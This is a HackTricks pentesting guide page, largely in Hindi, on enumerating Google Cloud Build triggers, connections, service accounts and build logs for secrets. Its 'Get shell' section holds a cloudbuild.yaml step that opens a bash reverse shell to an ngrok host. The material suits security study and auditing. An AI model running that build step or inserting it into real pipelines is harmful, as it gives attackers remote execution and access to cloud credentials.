GCP - Cloud Build Enum

Support HackTricks

Basic Information

Google Cloud Build एक प्रबंधित CI/CD प्लेटफ़ॉर्म है जो सॉफ़्टवेयर निर्माण और रिलीज़ प्रक्रियाओं को स्वचालित करता है, स्रोत कोड रिपॉजिटरी के साथ एकीकृत होता है और विभिन्न प्रोग्रामिंग भाषाओं का समर्थन करता है। यह डेवलपर्स को स्वचालित रूप से कोड बनाने, परीक्षण करने और तैनात करने की अनुमति देता है जबकि निर्माण चरणों और कार्यप्रवाहों को अनुकूलित करने की लचीलापन प्रदान करता है।

प्रत्येक Cloud Build Trigger एक Cloud Repository से संबंधित है या सीधे एक बाहरी रिपॉजिटरी (Github, Bitbucket और Gitlab) से जुड़ा होता है।

मैं यहाँ से या Cloud Repositories से Github/Bitbucket टोकन चुराने का कोई तरीका नहीं देख सका क्योंकि जब रिपॉजिटरी डाउनलोड की जाती है, तो इसे https://source.cloud.google.com/ URL के माध्यम से एक्सेस किया जाता है और Github क्लाइंट द्वारा एक्सेस नहीं किया जाता है।

Events

Cloud Build को ट्रिगर किया जा सकता है यदि:

  • एक शाखा पर पुश करें: शाखा निर्दिष्ट करें

  • एक नया टैग पुश करें: टैग निर्दिष्ट करें

  • पुल अनुरोध: उस शाखा को निर्दिष्ट करें जो PR प्राप्त करती है

  • मैनुअल इनवोकेशन

  • Pub/Sub संदेश: विषय निर्दिष्ट करें

  • Webhook घटना: एक HTTPS URL को उजागर करेगा और अनुरोध को एक गुप्त के साथ प्रमाणित किया जाना चाहिए

Execution

यहाँ 3 विकल्प हैं:

  • एक yaml/json कमांड को निर्दिष्ट करना जो निष्पादित किया जाना है। आमतौर पर: /cloudbuild.yaml

  • केवल एक जो वेब कंसोल और CLI में "इनलाइन" निर्दिष्ट किया जा सकता है

  • सबसे सामान्य विकल्प

  • प्रमाणीकरण रहित पहुंच के लिए प्रासंगिक

  • एक Dockerfile बनाने के लिए

  • एक Buildpack बनाने के लिए

SA Permissions

Service Account का cloud-platform स्कोप है, इसलिए यह सभी विशेषाधिकारों का उपयोग कर सकता है। यदि कोई SA निर्दिष्ट नहीं किया गया है (जैसे जब सबमिट कर रहे हैं) तो डिफ़ॉल्ट SA <proj-number>@cloudbuild.gserviceaccount.com का उपयोग किया जाएगा।

डिफ़ॉल्ट रूप से कोई अनुमतियाँ नहीं दी जाती हैं लेकिन इसे कुछ देना काफी आसान है:

Approvals

यह संभव है कि Cloud Build को निर्माण निष्पादन के लिए अनुमतियों की आवश्यकता हो (डिफ़ॉल्ट रूप से अक्षम)।

PR Approvals

जब ट्रिगर PR है क्योंकि कोई भी सार्वजनिक रिपॉजिटरी में PR कर सकता है तो केवल किसी भी PR के साथ ट्रिगर के निष्पादन की अनुमति देना बहुत खतरनाक होगा। इसलिए, डिफ़ॉल्ट रूप से, निष्पादन केवल स्वामियों और सहयोगियों के लिए स्वचालित होगा, और अन्य उपयोगकर्ताओं के PRs के साथ ट्रिगर को निष्पादित करने के लिए एक मालिक या सहयोगी को /gcbrun टिप्पणी करनी होगी।

Connections & Repositories

कनेक्शन निम्नलिखित पर बनाए जा सकते हैं:

  • GitHub: यह Github टोकन प्राप्त करने के लिए अनुमतियों के लिए OAuth प्रॉम्प्ट दिखाएगा जो Secret Manager के अंदर संग्रहीत किया जाएगा।

  • GitHub Enterprise: यह एक GithubApp स्थापित करने के लिए कहेगा। आपके GitHub Enterprise होस्ट से एक प्रमाणीकरण टोकन बनाया जाएगा और इसे इस प्रोजेक्ट में एक Secret Manager गुप्त के रूप में संग्रहीत किया जाएगा।

  • GitLab / Enterprise: आपको API एक्सेस टोकन और पढ़ने के लिए API एक्सेस टोकन प्रदान करने की आवश्यकता है जो Secret Manager में संग्रहीत किया जाएगा।

एक बार कनेक्शन उत्पन्न होने के बाद, आप इसका उपयोग उन रिपॉजिटरी को लिंक करने के लिए कर सकते हैं जिनका Github खाता तक पहुंच है

यह विकल्प बटन के माध्यम से उपलब्ध है:

ध्यान दें कि इस विधि से जुड़े रिपॉजिटरी केवल 2nd पीढ़ी के ट्रिगर्स में उपलब्ध हैं।

Connect a Repository

यह connection के समान नहीं है। यह Github या Bitbucket रिपॉजिटरी तक पहुँच प्राप्त करने के लिए विभिन्न तरीकों की अनुमति देता है लेकिन एक कनेक्शन ऑब्जेक्ट उत्पन्न नहीं करता है, लेकिन यह एक रिपॉजिटरी ऑब्जेक्ट (1st पीढ़ी का) उत्पन्न करता है।

यह विकल्प बटन के माध्यम से उपलब्ध है:

Storage

कभी-कभी Cloud Build ट्रिगर के लिए फ़ाइलों को संग्रहीत करने के लिए एक नया स्टोरेज उत्पन्न करेगा। यह उदाहरण के लिए उस उदाहरण में होता है जो GCP प्रदान करता है:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

एक स्टोरेज बकेट जिसे security-devbox_cloudbuild कहा जाता है, एक .tgz फ़ाइल को स्टोर करने के लिए बनाया गया है जिसमें उपयोग के लिए फ़ाइलें हैं।

Get shell

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

gcloud को क्लाउड बिल्ड के अंदर इंस्टॉल करें:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumeration

आप बिल्ड कॉन्फ़िग्स और लॉग्स में संवेदनशील जानकारी पा सकते हैं।

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

विशेषाधिकार वृद्धि

बिना प्रमाणीकरण के पहुंच

पोस्ट शोषण

HackTricks का समर्थन करें

Last updated